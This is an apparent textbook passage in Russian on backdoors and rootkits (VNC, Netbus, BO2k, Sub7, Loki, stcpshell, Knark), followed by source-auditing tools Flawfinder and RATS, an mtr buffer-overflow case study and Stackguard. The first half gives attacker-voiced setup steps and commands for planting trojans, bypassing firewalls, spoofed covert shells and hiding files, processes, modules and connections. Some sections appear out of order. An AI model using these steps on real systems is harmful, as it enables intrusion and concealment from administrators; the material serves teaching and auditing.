Предположим, что вы взломщик. После того, как VNC будет установлена, вы можете запустить VNC-сервер, чтобы прошло его первоначальное конфигурирование. В диалоговом окне Current User Properties, доступном в программе VNC "app mode", которая находится в папке Start/Programs/VNC, задайте параметры конфигурации, как это показано на следующем рисунке.


Вам важно знать, что VNC запускается по аналогии с X Window, когда для него инициализируется displays. В данном случае, дисплей номер 0 (ноль) позволяет VNC прослушивать порт 5800 для Web-сервера и порт 5900 для VNC-сервера. Значения этих портов становится понятным из следующего рисунка, на котором взломщик, используя FreeBSD, соединяется с машиной, на которой установлен VNC. Взломщик использует Web-броузер для соединения с портом 5800 по IP-адресу VNC-машины. При этом открывается Web-страница, которая запрашивает у пользователя пароль для входа в систему.


увеличить изображение

После того как был введен правильный пароль, рабочий стол доступен для взломщика через Web-броузер. Ниже приведена копия экрана DOS-сессии, отображаемой в окне VNC-сессии. Обратите внимание на то, что вы видите то же самое, как если бы вы сидели перед консолью машины. На этом изображении Web-броузер удален с рисунка.


увеличить изображение

Пока видно, что рабочий стол машины-жертвы отображается у вас на экране в окне Web-броузера.

Netbus версии 2 (бета) доступен для всех и содержит большинство необходимых взломщику функций. Сначала Netbus должен быть установлен на машине взломщика, чтобы его можно было сконфигурировать перед заражением жертвы. Инсталляция программы похожа на установку большинства приложений для Windows-систем, и ее можно выполнить, выбрав меню Start/Programs и щелкнув на имени приложения Netbus.

Netbus, также как и VNC, поставляется в комплекте клиент/сервер. Обычно сервер передается на машину жертву с использованием электронной почты, компакт-диска, или аналогичного устройства. Как только сервер запускается, машина оказывается захваченной, какая бы мощная система сетевой безопасности не работала между машиной и клиентом, размещенным на машине взломщика.

Чтобы сконфигурировать Netbus для установки на атакуемой машине, первый раз клиент запускается для модификации исполняемого модуля сервера. Процесс конфигурирования показан ниже.

В клиентской программе выберите File/Server Setup, как показано на следующей иллюстрации.


В диалоговом окне Server Setup выберите Server Executable. Исполняемый модуль будет сконфигурирован, чтобы быть установленным на атакуемой машине.


Найдите исполняемый модуль сервера, который вы хотели бы сконфигурировать. В большинстве случаев вам потребуется конфигурировать исполняемый модуль NBsvr.exe, который поставляется в инсталляционном комплекте Netbus.


После того как вы нашли исполняемый модуль сервера, который вы хотите сконфигурировать (обычно он располагается в установочной директории), вам необходимо закончить выбор параметров в диалоговом окне Server Setup, как это показано далее. Убедитесь, что вы отметили параметр Accept Connections.


В поле Run On Port укажите TCP-порт, который может использовать Netbus для ожидания соединения. В данном примере выбран порт 4375, но может быть выбран и любой другой порт из тех, что не заняты на атакуемой машине. Этот порт должен быть доступен любым способом на протяжении всей сети от клиента до сервера.Затем выберите параметр visibility.


Программа BO2k обеспечивает большинство функций, поддерживаемых Netbus. Чтобы сделать BO2k-сервер подходящим для использования в качестве сервера черного хода на атакуемой машине, вы должны сконфигурировать его с использованием утилиты конфигурирования на атакуемой машине. Следующая последовательность действий позволяет подготовить сервер BO2k с использованием мастера конфигурирования, запускающегося при первом запуске BO2k.

Когда появится заставка мастера конфигурирования, щелкните на кнопке Next. Мастер потребует у вас ввести название исполняемого модуля сервера, который будет редактироваться. Поскольку может быть доступно множество копий исполняемого модуля (по одному для каждой атакуемой машины), на этой странице должен быть выбран один из них. BO2k - один из немногих пакетов программ, обеспечивающих доступ через черный ход, которые могут работать поверх TCP- и UDP-протоколов. Протокол TCP выбирается обычно, если устойчивость соединения не вызывает сомнений. UDP-протокол выбирается в том случае, если есть трудности в преодолении системы безопасности (например, системный администратор может случайно оставить один из UDP-портов открытым). Поскольку большинство взломщиков хотели бы использовать протокол TCP для управления сервером BO2k, то в следующем окне представлен запрос на номер порта, который будет использоваться. Поскольку 80 порт обычно более доступен, чем любой другой, выберите его.BO2k предоставляет возможность шифрования канала связи между клиентом и сервером. Версия, которую мы скачали, показана на следующей иллюстрации. Она предлагает только XOR-шифрование, которое известно как слабое, но все же лучше, чем простой текст.


На следующем экране введите пароль, который используется для доступа к серверу. Пароль для доступа с черного хода - отличная вещь для взломщика/аудитора, но если слово будет использоваться без подтверждения полномочий, то обычно это плохо. Как только мастер закончит работу, будет загружена утилита настройки сервера.Посмотрите, как проверить различные параметры настройки сервера, которые мастер заполнил на основании информации, полученной от вас.




Так же как Netbus и BO2k, Sub7 требует, чтобы перед использованием был сконфигурирован сервер. Во-первых, взломщику потребуется открыть утилиту редактирования сервера, которая поставляется вместе с программой и размещается в папке Sub7. Когда программа будет запущена, вы увидите следующее окно.


Выберите сервер, который вы собираетесь конфигурировать, щелкнув на кнопке Browse в левом верхнем углу окна.Выберите сервер Sub7, по умолчанию - Server.exe.Измените некоторые параметры, содержащиеся в этом окне. Важные для понимания параметры будут обсуждаться далее.

Лучше всего использовать пароль для доступа к Sub7. Кроме того, Sub7 пытается самостоятельно сделать себя более незаметным, чем другие программы, и, как это видно в правом верхнем углу окна, в его распоряжении есть несколько способов сделаться незаметным после установки на атакованной машине.

Sub7 может не только выполнять работу по управлению захваченной машиной, но также информировать вас о новых машинах, которые он смог захватить, используя одну из нескольких возможностей:

персональный коммуникатор ICQ;сеть IRC;уведомление по электронной почте.

В результате, взломщик получает дополнительные преимущества, связанные с тем, что нет необходимости искать машины, которые могут быть заражены его сервером.

Для этой атаки сервер прослушивает TCP-порт 62875. Этот порт не является специальным портом, он выбран случайно. Если есть желание, то мы можем присоединить к серверу специальный файл, например, электронную поздравительную открытку, для отсылки ничего не подозревающему владельцу захваченной машины.

Последнюю возможность мы можем выбрать в зависимости от того, хотим мы или нет, чтобы при доступе к серверу работала парольная защита. Для взломщика полезно об этом подумать и предохранить утилиту от доступа посторонних. С точки зрения аудитора, это не слишком хорошо. Вы можете захотеть снова войти на сервер позднее для изменения конфигурации, или вам может понадобиться найти информацию о том, как настроен этот сервер.




Программа Loki должна быть скомпилирована с помощью команды make. Кроме этого, если вы загрузили версию 2 и хотите запускать ее не под RedHat Linux, следует использовать следующую заплатку.

diff Loki.orig/Makefile Loki/Makefile 37c37 < DEBUG = -DDEBUG --- > DEBUG = #-DDEBUG

diff Loki.orig/loki.h Loki/loki.h 36c36,38 < #include <linux/icmp.h> --- > #define ICMP_ECHO 8 > #define ICMP_ECHOREPLY 0 > //#include <linux/icmp.h> 38c40 < #include <linux/signal.h> --- > #include <signal.h>

После того как утилита завершит работу, просто запустите программу lokid на сервере или на атакованной машине. Она начнет работать в фоновом режиме. Клиент, который запущен на атакующей машине, может быть запущен такой командой.

attacker# ./loki -d <victim's IP address>

Появится приглашение ввести команду программы Loki. Вы можете вводить здесь любую команду, как если бы вы вводили ее на захваченной машине. На следующей иллюстрации показан IP-адрес атакованной машины (192.168.0.1), который получен после запуска на захваченной машине с помощью интерфейса Loki.


увеличить изображение

Достойны упоминания несколько предупреждений, касающихся использования Loki.

Демон Loki по умолчанию блокирует вас внутри директории /tmp. Есть возможность изменить директорию, но только изменив исходный код программы.Хорошей идеей будет осуществлять статическую компиляцию Loki, если вы собираетесь загрузить сервер на машину, на которой нет возможностей компиляции, или с другими версиями динамических библиотек (т.е. вы не сможете скомпилировать программу на захваченном сервере).Как показано на следующей иллюстрации, трафик захватывается при помощи программы Ethereal (Ethereal подробно обсуждается в лекции "Анализаторы сетевых потоков"), ICMP-пакеты передают информацию между сервером и клиентом. По умолчанию, эта информация не шифруется. Тем не менее, если вам это необходимо, в make file можно установить переключатель шифрования: вы можете использовать XOR- или Blowfish-шифрование. Просто закомментируйте строку CRYPTO_TYPE в make file для того типа шифрования, которое вы хотите использовать.


увеличить изображение




Поскольку утилиту необходимо скомпилировать, перед тем как использовать, вы должны делать это на машине, системно совместимой с той, которую вы собираетесь атаковать. Если это не сама атакуемая машина, вы должны при компиляции использовать команду -static, поставив ее перед параметром -o. Процесс компиляции может быть запущен такой командой.

attacker# gcc -o stcpshell stcpshell.c

Сервер запускается так.

victim# ./stcpshell

Затем вы можете установить соединение между клиентом и сервером.

attacker# ./stcpshell -c <server IP address> <client IP address>

Соединение можно увидеть на следующей иллюстрации. Обратите внимание, что команды выполняются, как будто вы сидите перед захваченным сервером.


увеличить изображение

Сессию, установленную между клиентом и сервером, можно увидеть на следующей иллюстрации, которая представляет обмен трафиком, перехваченным программой Ethereal. Обратите внимание, как трафик между клиентом и сервером передается с использованием сфабрикованного IP-адреса 207.46.131.137. Более того, для соединения выбраны порты 1234 и 4321 (определяемые, как работа программы rwhois, которая по умолчанию работает с портом 4321). Порты и сфабрикованный адрес можно изменить в исходном коде утилиты, который может быть найден в следующих строках в модуле stcpshell.c.

/* from www.microsoft.com .. you BETTER change this */

pkt.ip.ip_src.s_addr=inet_addr("207.46.131.137");


увеличить изображение




Knark поставляется в исходных кодах и должна быть скомпилирована. Чтобы скомпилировать Knark, необходимо иметь доступ к исходным кодам ядра Linux, размещенным в директории /usr/src/Linux, где находятся коды текущего ядра. Чтобы скомпилировать утилиту, следует распаковать архив, скорректировать тексты и набрать следующую команду.

victim# make clean victim# make

Чтобы инсталлировать Knark на атакуемой машине, загружаемое ядро должно поддерживать загружаемые модули. Когда вы будете готовы открыть черный ход в систему, наберите следующую команду.

victim# insmod knark.o


увеличить изображение

В состав Knark входит множество утилит и приемов. Важно заметить, что многие из специфических особенностей, обсуждаемых ниже, можно изменить, отредактировав исходный код программы. Более того, в любой момент вы можете войти в директорию /proc/knark, чтобы узнать, какие изменения совершает Knark в системе. Заметим, тем не менее, что эта директория по умолчанию определена в исходных кодах утилиты и может быть переименована.



Сокрытие файла или директории


Естественно, каждому взломщику необходимо скрывать свой инструментарий таким образом, чтобы системный администратор не мог бы его найти. Knark предлагает утилиту, которая называется hidef, и может скрыть файлы или целые директории, если взломщик наберет следующую команду.

victim# ./hidef <filename>

Если взломщик хочет, чтобы его файлы вновь отображались командой ls, он может набрать следующую команду.

victim# ./unhidef <filename>



Сокрытие модуля Knark.o в списке загружаемых модулей


Последней темой в списке методов сокрытия информации является сокрытие факта, что Knark загружен в качестве загружаемого модуля ядра. Поскольку все загружаемые модули ядра отображаются в списке по команде lsmod, то Knark может оказаться в этом списке. Конечно, мы можем переименовать knark.o во что-нибудь другое, например someobscuredriver.o, но Knark предлагает лучшее решение. Решение состоит в наличии модуля modhide.o. Он может спрятать последний загруженный модуль. После установки Knark вы должны набрать следующую команду:

victim# insmod modhide.o

Эта команда возвратит ожидаемую ошибку. Теперь, наберите команду lsmod, которая не покажет в списке модулей Knark, но он по-прежнему будет работать в ядре. После загрузки модуля modhide Knark может быть дезинсталлирован только после перезагрузки захваченной машины.

Пример из жизни. Хорошие, плохие и безобразные

В этом конкретном случае проверяются средства дистанционного контроля, разделенные на три разных уровня, каждый с различными степенями сложности использования, определения и удаления. "Хорошим" средством является VNC, "плохими" являются Back Orifice, Netbus и SubSeven, "безобразные" средства это - Loki, stcpshell и Knark.

Простая сеть содержит машину с Windows 98 и сервер Linux. Эта сеть управляется стандартным установленным брандмауэром, фильтрующим пакеты, с несколькими правилами фильтрации входных пакетов. Фактически, администратор брандмауэра поленился, поэтому он допустил использование одних и тех же портов входных пакетов для всей подсети. (Все знают, сколько трудностей создает оформление соответствующей документации для открытия и закрытия портов в большой организации!) Вне этой сети весь трафик является разрешенным, что является типичной конфигурацией в настоящее время. Не существует брандмауэров между каждой из машин-жертв в подсети, поэтому любой и весь трафик будет передаваться между ними.

В следующей таблице представлена эта конфигурация.

Целью атакующего/аудитора является контроль сети на расстоянии после того, как она уже была подвержена риску. В последующих разделах обсуждается несколько сценариев, которые может применить атакующий, чтобы получить доступ к этой системе.



Сокрытие процесса


Обычно, когда взломщик захватывает машину, он запускает на ней другие утилиты, чтобы упрочить свое положение в сети. Одной из этих утилит может быть sniffer (см. лекцию "Анализаторы сетевых потоков"), используемый для перехвата паролей, передаваемых по сети. Поскольку sniffer должен оставаться в памяти еще долгое время после того, как взломщик покинул машину, здравомыслящий системный администратор может легко обнаружить его, набрав команду ps.

С установленной программой Knark можно скрыть любой процесс, послав сигнал с номером 31.

victim# kill -31 <Process ID>

Когда взломщик решит, что ему необходимо вернуть процесс в список процессов, он посылает сигнал номер 32.

victim# kill -32 <Process ID>



Сокрытие сетевого соединения


Когда взломщик устанавливает соединение с машиной через telnet или SSH, это соединение может быть обнаружено в списке команды netstat, запущенной системным администратором. Для взломщика это может быть весьма неприятно. У Knark есть утилита, которая называется nethide, и которая может спрятать соединение, содержащее соответствующую строку. Например, если взломщик хочет спрятать IP-адрес 192.168.1.100 на атакованной машине, следует набрать:

victim# ./nethide "192.168.1.100"

Если взломщик хочет скрыть в списке TCP- или UDP-порты, то, чтобы скрыть порт 2222, следует просто набрать следующую команду:

victim# ./nethide ":2222"

Если взломщик хочет вновь разрешить отображение строки, то следует набрать команду:

victim# ./nethide -c



Stcpshell


Утилита stcpshell применяет те же принципы скрытого коммуникационного канала, заимствованные у Loki, к протоколу TCP. Эта программа использует поддельные TCP-пакеты для передачи информации между клиентом и сервером и создания виртуальной командной оболочки на захваченной машине. Аналогично программе Loki, утилита поставляется в исходных кодах и должна быть скомпилирована.

Утилита stcpshell может быть загружена с Web-сайта разработчиков http://www.programmazione.it/knights.



SubSeven


После BO2k в сообществе специалистов по безопасности появилась программа SubSeven (Sub7). На сегодняшний день это лучшее, что можно пожелать. Sub7 совершенно смертельна, поскольку ее последние версии могут изменять свои параметры и, тем самым, обманывать средства поиска вирусов, которые обычно перехватывают утилиты, подобные Netbus и BO2k. С точки зрения средств удаленного управления, Sub7 - практически то же, что и Netbus и BO2k.

Sub7 может быть доступна по адресам http://www.packetstormsecurity.com, http://www.tlsecurity.com и http://www.securityfocus.com (Web-сайт авторов программы не был доступен на момент написания этой книги).


Используя Sub7, атакующий может изменить порт, на котором черный ход будет ожидать соединения. В этом случае атакующий сможет обмануть брандмауэр, если он сможет инсталлировать Sub7 на автоматизированном рабочем месте администратора. После получения атакующим доступа к автоматизированному рабочему месту администратора, он получает доступ к серверу Linux.

После того как хакер инсталлировал черный ход на машину Windows, оставленную администратором открытой, он может разнюхать пароли, вводимые администратором, просто читая ввод с клавиатуры, когда тот входит на сервер Linux. Кроме того, хакер также может подключиться к серверу Linux, активизировав средство изменения направления данных, встроенное в Sub7, на машине с Windows. Затем атакующий может использовать этот черный ход, чтобы соединиться с блоком Linux через порт изменения направления TCP-машины Windows, использовав полномочия администратора. В этом примере порт TCP 22 используется как входной порт к машине с Windows и направляющий к серверу Linux, таким образом, ускользая от архитектуры безопасности на месте.



VNC


Программа Virtual Network Computing (VNC) была написана в AT&T Laboratories, чтобы обеспечить пользователям полный контроль над удаленным компьютером. Возможности управления, предоставляемые пользователю программой, таковы, как если бы пользователь сидел за консолью свой машины. Программа независима от операционной системы, как для клиента, так и для сервера. Это программное обеспечение работает с большинством версий операционных систем Unix и Windows, а исходные коды программы можно загрузить по адресу http://www.uk.research.att.com/vnc/.

У VNC есть клиентская и серверная части. Сервер размещается на машине, которой вы хотите управлять. Клиент устанавливается на управляющей машине. Следовательно, вы можете установить клиентскую программу на вашей "атакующей" машине, а сервер должен быть установлен на машине "жертве". В отдельных случаях, можно обойтись без клиентской части программы, поскольку VNC также работает, как Web-сервер. Это означает, что сервер может управляться с помощью обычного Web-броузера.


По сценарию VNC атакующий изменяет порт VNC на что-то разрешенное из диапазона портов TCP. Хакер меняет этот порт на порт TCP 80, связывает его с безобидной программой и помещает перед администратором в привлекательном виде в надежде, что администратор запустит троянскую программу. После того как администратор запустит эту программу, которая устанавливает VNC и добавляет соответствующие значения регистра, хакер сможет соединить свое автоматизированное рабочее место Windows через неправильно сконфигурированный брандмауэр.



Выполнение удаленных команд


После того как Knark установлен, взломщик может удаленно выполнять команды с помощью утилиты rexec. Эта утилита запускается следующей командой:

attacker# ./rexec <Spoofed IP Address> <Victim IP Address> <Command>

Rexec фабрикует пакеты от заданного IP-адреса, используя UDP с исходящим и входящим портами 53 (DNS). Следовательно, эти типы пакетов обычно пропускаются через систему безопасности, и команды выполняются на захваченной машине.



Flawfinder


Программа Flawfinder, написанная Дэйвом Веллером, собрала наиболее распространенные ошибки программирования на C и C++ и поместила их в утилиту, которая может проверить представленный ей программный код. Эта утилита не разбирает C-синтакс или тонкости программирования; однако она хорошо служит для проверки приложений с точки зрения здравого смысла. Программа написана на языке Python, и в ней менее 1000 строк, которые представляют собой великолепный материал для настройки.



RATS


Программа RATS (Rough Auditing Tool for Security) от Secure Software Solutions может помочь программистам сгладить шероховатости их приложений, написанных на C, C++, Perl, PHP или Python. В отличие от Flawfinder, RATS написана на C и содержит внешнюю коллекцию правил, описанных в XML, которые применяются для каждого языка.



Реализация


Преимущества программы заключаются в ее каталоге проблемных функций. Она обеспечивает несколько режимов работы, но, скорее всего, вам понадобятся лишь некоторые из них. Полный список функций представлен в таблице 11.1.

Таблица 11.1. Опции командной строки Flawfinder

ОпцияОписание
--context, -cПоказывает строку, которая содержит потенциальную недоработку; сходна с использованием grep для поиска каждой функции или демонстрации результатов каждого совпадения.
--columnsПоказывает номер столбца потенциальной недоработки. Например, уязвимый strcpy может начинаться с 16-го символа строки.
--minlevel=X, -m XЗадает минимальный уровень риска, для которого сообщается совпадение. Значение X может быть от 0 (нет риска) до 5 (максимальный риск). По умолчанию - 1.
--neverignore, -nНе поддерживает директиву ignore в исходном файле.
--immediate, -iПоказывает потенциальные совпадения по мере их нахождения.
--inputsПоказывает только функции, которые получают внешний ввод (задает переменные из данных, полученных извне программы). Устанавливает минимальный уровень равный 0.
--quietНе показывает информацию о совпадении во время сканирования.
--loadhitlist=FЗагружает совпадения из файла F вместо анализа исходных программ.
--savehitlist=FСохраняет совпадения в файле F.
--diffhitlist=FНе показывает совпадения, содержащиеся в файле F. Полезна для сравнения пересмотров.

Самый быстрый способ запустить программу - это определить для нее директорию или список файлов для проверки:

$ flawfinder src/

По умолчанию программа проверяет только C-файлы. Эти файлы она определяет по их расширению: c, h, ec, ecp, pgc, C, cpp, cxx, cc, pcc, hpp или H. Программа не разбирает язык C. Flawfinder различает некоторые потенциально опасные функции, которые используют переменные вместо констант, приводя к высокому риску ошибок.

Если у одного из ваших файлов нет указанного расширения, вы можете задать имя файла в командной строке:

$ flawfinder ftpcmd.y

Вывод будет представлен в виде:

filename:line_number:column_number [risk_level] (type) function_name:message


Программа легко компилируется большинством Unix-систем, нужно лишь убедиться, что у вас установлен Expat XML Parser (http://sourceforge.net/projects/expat/). Если Expat установлен, компиляция проходит по команде ./configure и make.

Для программы доступно несколько параметров:

RATS v1.3 - Rough Auditing Tool for Security Copyright 2001 by Secure Software Solutions http://www.securesw.com usage: rats [-adhilrwx] name1 name2 ... namen -a <fun> report any occurrence of function "fun" in the source file(s) -d <filename> specify an alternate vulnerability database. -h display usage information (what you"re reading) -i report functions that accept external input -l <language> force the specified language to be used -r include references that are not function calls -w <1,2,3> set warning level (default 2) -x do not load default databases

RATS анализирует файлы, написанные на C, но может переключаться на основе анализа расширения файлов:

Perl .pl, .pmPHP .phpPython .py, .PY

Для явного указания языка C, Perl, Python или PHP используйте параметр -l. Проверка C и C++ основана на тех же самых правилах.

Программы на Perl, Python и PHP проверяются без реальной проверки особенностей конкретного языка. Perl проверяется с точки зрения системных функций (функций, эквивалентных C) вместо проверки синтаксиса и управления переменными. У вас по-прежнему может остаться очень небезопасное Web-приложение, созданное на Perl (Python или PHP); RATS обеспечивает только базовые проверки. В соответствии с ограничениями RATS, типы данных Perl не проходят проверку на строгое соответствие типам и тестирование на выход за границы. Как и C-программы, Perl- скрипты не проверяются на опасность переполнения буфера.

Совет. Perl поддерживает параметр T для "испорченных" переменных. Perl никогда не передаст такие переменные в системные функции (такие, как exeс). Это улучшает большинство входных проверок для управляющих метасимволов, которые требуется проводить в безопасных программах.

Параметры -a и -d всегда в состоянии расширить возможности RATS. Используйте параметр -a для поиска конкретных функций по аналогии с утилитой grep. Параметр -d применяется чаще, но вам потребуется владеть XML-синтаксисом. Ниже приводится пример структуры описания теста для RATS, проверяющего функцию tmpfile.

<Vulnerability> <Name>tmpfile</Name> <Info> <Description>Many calls for generating temporary file names are insecure, susceptible to race conditions). Use a securely generated file name, for example, by pulling 64 bits of randomness from /dev/random, base 64 encoding it and using that as a file suffix.</Description> <Severity>Medium</Severity> </Info> </Vulnerability>

Тег name содержит имя функции. Можно задать несколько значений рейтинга (высокий, средний и низкий). Обратите внимание на то, что просто поиск функции может дать много ошибочных положительных ответов; более гибким было бы программировать дополнения к средствам аудита.

Пример из жизни. mtr 0.46

MTR - это средство General Public License (GPL), которое объединяет в себе функциональность трассировки и Ping. Damian Gryski установил условие переполнения буфера способом, которым MTR справляется с переменной окружения MTR_OPTIONS (Bugtraq ID 4217). Переменные окружения имеют давнюю историю в качестве векторов атаки на переполнение буфера. Таким образом, не удивительно, что RATS проверяет функции, которые используют переменные окружения.

$ rats mtr.c mtr.c:72: High: getopt_long Truncate all input strings to a reasonable length before passing them to this function mtr.c:139: High: fixed size local buffer Extra care should be taken to ensure that character arrays that are allocated on the stack are used safely. They are prime targets for buffer overflow attacks. mtr.c:180: High: getenv Environment variables are highly untrustable input. They may be of any length, and contain any data. Do not make any assumptions regarding content or length. If at all possible avoid using them, and if it is necessary, sanitize them and truncate them to a reasonable length. mtr.c:185: High: printf mtr.c:190: High: printf Check to be sure that the non-constant format string passed as argument 1 to this function call does not come from an untrusted source that could have added formatting characters that the code is not prepared to handle. mtr.c:236: High: gethostbyname DNS results can easily be forged by an attacker (or arbitrarily set to large values, etc.), and should not be trusted.

Вот строка кода, которая генерировала вывод в RATS (такая же строка могла быть обнаружена с командой grep getenv mtr.c):

parse_mtr_options (getenv ("MTR_OPTIONS"));

RATS идентифицировал потенциальную уязвимость. Дело контролера трассировать уязвимость в функции parse_mtr_options и определять, обоснован ли вывод. Przemyslaw Frasunek сумел найти иллюстрацию того, как функция parse_mtr_options нерационально оперировала с переменной MTR_OPTIONS. Вот часть уязвимого кода:

while (p) { argv[argc++] = p; p = strtok (NULL, " \t"); }

Переменная p является указателем ячейки памяти, которая может содержать не только значение переменной окружения MTR_OPTIONS, но также данные, которые могут быть помещены в память и использоваться для исполнения произвольных команд. Функция strtok C оперирует со строками, хранимыми в памяти, разыскивая конфигурации, специфицированные в ее втором аргументе (" \t" или комбинацию пробела и символа табуляции в этом примере). Когда strtok получает значение NULL для первого аргумента, она оперирует на текущем указателе, в данном случае p. Однако взломщик может создать зловредные MTR_OPTIONS, которые запишут shellcode поверх указателя - другими словами, выполнят произвольную команду.

Авторская вставка реализует проверку длины переменной p и сообщает о посторонних данных:

while (p && (argc < (sizeof(argv)/sizeof(argv[0])))) { argv[argc++] = p; p = strtok (NULL, " \t"); } if (p) { fprintf (stderr, "Warning: extra arguments ignored: %s", p); }

Контроль от RATS и следование рекомендации "Не делайте никаких предположений относительно содержимого или длины" отразили атаку.

Пример из жизни. Канарейка во мгле

В начале этой лекции мы высказывали пожелание, чтобы появился компилятор, который будет создавать "неразрушаемые" приложения. Stackguard с http://immunix.org - это коллекция вставок в программы для компилятора GCC. Эти вставки превращают GCC в активного защитника любого кода C или C++, которые он компилирует. Базовая концепция заключается в том, что вызовы функций, потенциально уязвимых к переполнению буфера, имеют случайные значения, присоединяемые к области памяти.

Когда взломщик пытается переполнить буфер, атака портит область памяти, которая содержит такие случайные значения. Программа распознает, что случайное значение было модифицировано и внезапно останавливается - без выполнения любого опасного кода, внедренного атакующим.

Мы будем лишь поддакивать великолепной документации Stackguard, чтобы описать защиту от переполнения буфера в соответствующих деталях. Посетите сайт http://immunix.org для получения дополнительной информации.

Помните, что установки Stackguard и "nonexecutable stack" не являются панацеей от переполнения буфера. Есть документированные способы перехитрить методы защиты, подобные Stackguard. Защитите свою сеть, свою главную машину, а затем приложение - лишняя осторожность никогда не помешает.

<